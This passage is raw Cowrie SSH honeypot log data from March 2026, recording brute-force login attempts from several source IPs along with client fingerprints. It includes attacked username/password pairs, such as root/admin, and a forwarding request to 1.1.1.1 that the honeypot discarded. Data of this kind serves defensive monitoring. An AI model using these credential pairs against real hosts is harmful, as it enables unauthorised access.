16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:18.328629Z","src_ip":"193.32.162.145","session":"5c38721f69c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"bot","message":"login attempt [sol/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:18.757626Z","src_ip":"193.32.162.145","session":"5c38721f69c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:19.859379Z","src_ip":"193.32.162.145","session":"5c38721f69c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.227.152.250","src_port":58222,"dst_ip":"10.17.0.5","dst_port":22,"session":"2db932a37bab","protocol":"ssh","message":"New connection: 121.227.152.250:58222 (10.17.0.5:22) [session: 2db932a37bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:28.403404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:28.406936Z","src_ip":"121.227.152.250","session":"2db932a37bab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:28.631551Z","src_ip":"121.227.152.250","session":"2db932a37bab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":34166,"dst_ip":"159.203.135.109","dst_port":22,"session":"5798476e5a30","protocol":"ssh","message":"New connection: 2.57.122.210:34166 (159.203.135.109:22) [session: 5798476e5a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:29.514795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:29.519155Z","src_ip":"2.57.122.210","session":"5798476e5a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pro","password":"pro123","message":"login attempt [pro/pro123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:29.563664Z","src_ip":"121.227.152.250","session":"2db932a37bab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:29.622600Z","src_ip":"2.57.122.210","session":"5798476e5a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:29.933402Z","src_ip":"2.57.122.210","session":"5798476e5a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:30.791006Z","src_ip":"121.227.152.250","session":"2db932a37bab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:31.037601Z","src_ip":"2.57.122.210","session":"5798476e5a30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":55315,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e1a180feb1f","protocol":"ssh","message":"New connection: 37.77.150.119:55315 (10.17.0.5:22) [session: 6e1a180feb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:57.798676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:57.803756Z","src_ip":"37.77.150.119","session":"6e1a180feb1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:57.929736Z","src_ip":"37.77.150.119","session":"6e1a180feb1f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:58.305873Z","src_ip":"37.77.150.119","session":"6e1a180feb1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:58.433708Z","session":"6e1a180feb1f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:58.560458Z","src_ip":"37.77.150.119","session":"6e1a180feb1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:03:58.687747Z","src_ip":"37.77.150.119","session":"6e1a180feb1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":53234,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba1041c7bd22","protocol":"ssh","message":"New connection: 147.50.103.212:53234 (10.17.0.5:22) [session: ba1041c7bd22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:05.003211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:05.008435Z","src_ip":"147.50.103.212","session":"ba1041c7bd22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:05.271271Z","src_ip":"147.50.103.212","session":"ba1041c7bd22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ems","password":"ems1234","message":"login attempt [ems/ems1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:06.350925Z","src_ip":"147.50.103.212","session":"ba1041c7bd22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:07.614714Z","src_ip":"147.50.103.212","session":"ba1041c7bd22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48252,"dst_ip":"10.17.0.5","dst_port":22,"session":"03bb9ab48f5c","protocol":"ssh","message":"New connection: 2.57.122.208:48252 (10.17.0.5:22) [session: 03bb9ab48f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:16.512526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:16.624457Z","src_ip":"2.57.122.208","session":"03bb9ab48f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:16.627660Z","src_ip":"2.57.122.208","session":"03bb9ab48f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:17.507051Z","src_ip":"2.57.122.208","session":"03bb9ab48f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:18.608904Z","src_ip":"2.57.122.208","session":"03bb9ab48f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":40450,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fadde9cd85d","protocol":"ssh","message":"New connection: 177.11.196.84:40450 (10.17.0.5:22) [session: 2fadde9cd85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:18.939284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:18.943982Z","src_ip":"177.11.196.84","session":"2fadde9cd85d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:19.077738Z","src_ip":"177.11.196.84","session":"2fadde9cd85d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"userpass","message":"login attempt [user/userpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:19.643932Z","src_ip":"177.11.196.84","session":"2fadde9cd85d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:20.779836Z","src_ip":"177.11.196.84","session":"2fadde9cd85d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52508,"dst_ip":"10.17.0.5","dst_port":22,"session":"12277fd6e01b","protocol":"ssh","message":"New connection: 193.32.162.145:52508 (10.17.0.5:22) [session: 12277fd6e01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:34.859792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:34.864776Z","src_ip":"193.32.162.145","session":"12277fd6e01b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:34.964941Z","src_ip":"193.32.162.145","session":"12277fd6e01b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"solana","message":"login attempt [postgres/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:35.263928Z","src_ip":"193.32.162.145","session":"12277fd6e01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:36.366951Z","src_ip":"193.32.162.145","session":"12277fd6e01b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36762,"dst_ip":"159.203.135.109","dst_port":22,"session":"b31209c3ca6d","protocol":"ssh","message":"New connection: 2.57.122.210:36762 (159.203.135.109:22) [session: b31209c3ca6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:42.958876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:42.963666Z","src_ip":"2.57.122.210","session":"b31209c3ca6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:43.067123Z","src_ip":"2.57.122.210","session":"b31209c3ca6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:43.373714Z","src_ip":"2.57.122.210","session":"b31209c3ca6d","protocol":"ssh"}
